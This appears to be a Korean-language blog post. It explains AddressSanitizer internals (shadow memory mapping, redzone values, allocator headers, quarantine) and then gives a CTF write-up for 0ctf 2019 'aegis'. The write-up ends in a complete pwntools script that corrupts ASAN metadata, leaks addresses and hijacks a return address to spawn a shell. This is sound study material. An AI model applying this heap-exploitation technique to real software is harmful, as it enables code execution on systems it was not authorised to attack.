Address Sanitizer

Posted on Aug 14, 2020

Sanitizer : Google에서 만든 메모리 오류(취약점) 탐지 도구.

프로그램에 ASAN을 붙여서 빌드한 다음 버그 찾는데 요긴하게 쓸 수 있다.

https://github.com/google/sanitizers

  • Use after free (dangling pointer dereference)
  • Heap buffer overflow
  • Stack buffer overflow
  • Global buffer overflow
  • Use after return
  • Use after scope
  • Initialization order bugs
  • Memory leaks

Sanitizers 중에 Address Sanitizer(이하 ASAN)가 지원하는 기능만 저거고, UndefinedBehaviorSanitizer(UBSAN)같은 건 타입 캐스팅 오류같은 것도 잡아주더라..

Shadow Memory

Address Sanitizer 구현 알고리즘 자체는 생각보다 단순한데, Shadow Memory라는 개념이 전반적으로 이용된다.

일반 메모리 8바이트 당 Shadow Memory 1 바이트를 대응시켜, 해당 Shadow Memory의 값으로 memory corruption을 검사하는 방식이다.

우선 오버헤드 최소화를 위해 아래와 같은 수식으로 Shadow Memory 주소를 얻는다.

// 64bit
(BYTE *)Shadow = ((QWORD *)Memory >> 3) + 0x7fff8000

이렇게 얻은 Shadow Memory의 값에 따라 Shadow Memory와 대응되는 원래 주소의 접근 가능 여부가 결정된다.

*(_BYTE *)Shadow Memory == 0x00
--> 해당 8 바이트 Access 허용

*(_BYTE *)Shadow Memory == 0x01 ~ 0x07
--> 해당 n 바이트 Access 허용

*(_BYTE *)Shadow Memory == MAGIC
  Heap left redzone:       fa
  Heap right redzone:      fb
  Freed heap region:       fd
  Stack left redzone:      f1
  Stack mid redzone:       f2
  Stack right redzone:     f3
  Stack partial redzone:   f4
  Stack after return:      f5
  Stack use after scope:   f8
  Global redzone:          f9
  Global init order:       f6
  Poisoned by user:        f7
  Contiguous container OOB:fc
  ASan internal:           fe

Access 불가한 주소는 redzone(또는 poisoned)이라 명칭하고 해당 주소의 정보가 MAGIC으로 표현된다.

redzone에 접근하려는 시도가 보고되면 Asan은 해당 동작을 로깅하고 abort하는 원리.

실제로 ASAN 붙인 바이너리를 ida로 까보면 pseudo code에서 아래와 같이 값을 assign하기전 shadow memory를 체크하는 루틴을 볼 수 있다.

if ( *(_BYTE *)((store >> 3) + 0x7FFF8000) ) // Shadow Memory가 0x00인지 체크
    context = _asan_report_store8(store);
*store = context;

Allocator

ASAN은 malloc / free를 후킹해 별도로 구현된 allocator로 heap을 관리하는데, chunk header부터 아래와 같이 변경된다.

struct ChunkHeader {
  // 1-st 8 bytes.
  u32 chunk_state       : 8;  // Must be first.
  u32 alloc_tid         : 24;
  u32 free_tid          : 24;
  u32 from_memalign     : 1;
  u32 alloc_type        : 2;
  u32 rz_log            : 3;
  u32 lsan_tag          : 2;
  // 2-nd 8 bytes
  // This field is used for small sizes. For large sizes it is equal to
  // SizeClassMap::kMaxSize and the actual size is stored in the
  // SecondaryAllocator's metadata.
  u32 user_requested_size : 29;
  // align < 8 -> 0
  // else      -> log2(min(align, 512)) - 2
  u32 user_requested_alignment_log : 3;
  u32 alloc_context_id;
};
enum {
  CHUNK_AVAILABLE  = 0,  // 0 is the default value even if we didn't set it.
  CHUNK_ALLOCATED  = 2,
  CHUNK_QUARANTINE = 3
};

malloc(0x50)을 호출하고 메모리를 보면

0x607000000010:	0x0affffff00000002	0x7500000120000050
0x607000000020:	0xbebebebebebebebe	0xbebebebebebebebe
0x607000000030:	0xbebebebebebebebe	0xbebebebebebebebe
0x607000000040:	0xbebebebebebebebe	0xbebebebebebebebe
0x607000000050:	0xbebebebebebebebe	0xbebebebebebebebe
0x607000000060:	0xbebebebebebebebe	0xbebebebebebebebe

이런 모양이 되는데, 헤더를 살펴보면 0x607000000010에 CHUNK_ALLOCATED(‘\x02’)를 통해 할당된 chunk라는 것을 알리고있고,

user_requested_size인 0x607000000018의 0x50에서 우리가 요청한 size(0x50)을 확인할 수 있다.

(0xbe는 memory leak을 막기위해 asan에 의해 initialized된 값이다.)

여기서 해당 청크의 Shadow Memory를 체크해보면

gef➤  x/30gx (0x607000000010 >> 3) + 0x7fff8000
0xc0e7fff8002:	0x000000000000fafa	0xfafafafa00000000
0xc0e7fff8012:	0xfafafafafafafafa	0xfafafafafafafafa
0xc0e7fff8022:	0xfafafafafafafafa	0xfafafafafafafafa
0xc0e7fff8032:	0xfafafafafafafafa	0xfafafafafafafafa

헤더(0x10바이트)에 해당되는 0xc0e7fff8002 ~ 0xc0e7fff8003는 0xfa(Heap left redzone)으로,나머지 user data 부분인 0xc0e7fff8004 ~ 0xc0e7fff800d 으로 정확하게 메모리를 보호하고 있음을 알 수 있다~!

만약 청크가 free된다면, ASAN은 해당 청크의 전체 region을 redzone 처리하고 Quarantine Queue에 등록한다.

Quarantine Queue에 들어간 청크는 충분한 양의 메모리가 free되기 전까지 반환되지 않는다. (quarantine_size_mb=256M)

0ctf 2019 – aegis

네발 달린 건 책상 빼고 다 먹는다는 중국은 CTF도 예외없이 실행되는 건 다 문제로 낸다.

이번엔 ASAN이다.

Mitigation

root@4485c055a144:/home/ctf/aegis# checksec aegis
[*] '/home/ctf/aegis/aegis'
    Arch:     amd64-64-little
    RELRO:    Full RELRO
    Stack:    Canary found
    NX:       NX enabled
    PIE:      PIE enabled
    FORTIFY:  Enabled
    ASAN:     Enabled
    UBSAN:    Enabled

Menu

__int64 menu()
{
  puts("======Protected Notebook======");
  puts("1. Add note");
  puts("2. Show note");
  puts("3. Update note");
  puts("4. Delete note");
  puts("5. Exit");
  printf("Choice: ");
  return read_int();
}

Vulnerabilities

  • Update Note에서의 Heap overflow But ASAN
  • Delete Note에서의 UAF but ASAN

위의 두 취약점을 트리거하기 위한 Backdoor Func

unsigned __int64 secret()
{
  _BYTE *v0; // rax
  unsigned __int64 v2; // [rsp+0h] [rbp-10h]
  if ( secret_enable )
  {
    printf((unsigned __int64)"Lucky Number: ");
    v2 = read_ul();
    if ( v2 >> 44 )
      v0 = (_BYTE *)(v2 | 0x700000000000LL);
    else
      v0 = (_BYTE *)v2;
    *v0 = 0;
    secret_enable = 0;
  }
  else
  {
    puts("No secret!");
  }
  return __readfsqword(0x28u);
}

0x700000000000 보다 큰 주소에 널 바이트 하나를 쓸 수 있다.

Exploit

  1. 0x10 크기의 chunk 여러개 할당 (chunk0, chunk1, chunk2….)
  2. (0x602000000020»3)+0x7fff8000에 null-byte overwrite, chunk1의 헤더를 덮어쓸 수 있게된다.
  3. chunk1의 user_requested_size를 0xffffffff로 덮는다.
  4. free chunk1
  5. quarantine_size_mb를 초과해, malloc(0x10)시 chunk1이 quarantine에서 바로 반환된다.
  6. uaf로 *note 포인터를 컨트롤하면 aaw/aar가 가능해지고, pie base leak이 가능하다.
  7. pie base로 libc base를, libc의 environ으로 stack addr까지 릭한다.
  8. read_until_nl_or_max의 ret을 gets로 덮어 oneshot 가젯 실행

__sanitizer::UserDieCallbackE를 overwrite해 abort시 아래의 루틴을 탈 때 oneshot 가젯 실행

–> 실패, oneshot 조건이 안 맞음

from pwn import *
def add(size, content, cid):
  p.sendlineafter(':', '1')
  p.sendlineafter(':', str(size))
  p.sendafter(':', content)
  p.sendlineafter(':', str(cid))
def show(idx):
  p.sendlineafter(':', '2')
  p.sendlineafter(':', str(idx))
def update(idx, content, cid):
  p.sendlineafter(':', '3')
  p.sendlineafter(':', str(idx))
  p.sendafter(':', content)
  p.sendlineafter(':', str(cid))
def delete(idx):
  p.sendlineafter(':', '4')
  p.sendlineafter(':', str(idx))
def secret(addr):
  p.sendlineafter(':', '666')
  p.sendlineafter(':', str(addr))

context.log_level = 'debug'

p = process('./aegis')
e = ELF('./aegis')
l = e.libc

add(0x10, '1'*0x8, 0xdadadadadadadada) #0
add(0x10, '1'*8, 0xeded)
add(0x10, '1'*8, 0xeded)
add(0x10, '1'*8, 0xeded)
secret((0x602000000020>>3)+0x7fff8000)
update(0, '\x02'*0x12, 0x12121212)
update(0, 'a'*0x10+p32(0x00000002)+p16(0xffff), 0xffffffff02ffff)
delete(0)
add(0x10, p64(0x602000000018), 0xae00) #4
show(0)

p.recvuntil('Content: ')
cfi_check = u64(p.recv(6).ljust(8, '\x00'))
got = cfi_check+0x233378
print 'cfi_check : ' + hex(cfi_check)
print 'got : ' + hex(got)

update(4, 'aa', 0x8888888888888888)
update(4, p64(got), 0xda00)
show(0)

p.recvuntil('Content: ')
libc = u64(p.recv(6).ljust(8, '\x00')) - l.sym['puts']
print 'libc : ' + hex(libc)

update(4, 'a'*7, 0xaa)
update(4, p64(libc+l.sym['environ'])[:7]+'\n', cfi_check)
show(0)

p.recvuntil('Content: ')
stack = u64(p.recv(6).ljust(8, '\x00'))
read_ret = stack-0x150
print 'stack : ' + hex(stack)
print 'read ret : ' + hex(read_ret)

update(4, p64(read_ret)[:7], cfi_check<<16)
p.sendlineafter('Choice:', '3')
p.sendlineafter('Index:', '0')
p.sendafter(':', p64(libc+l.sym['gets'])[:7])
p.sendline('a'*2+p64(libc+0x4f322)+'\x00'*0x80)

p.interactive()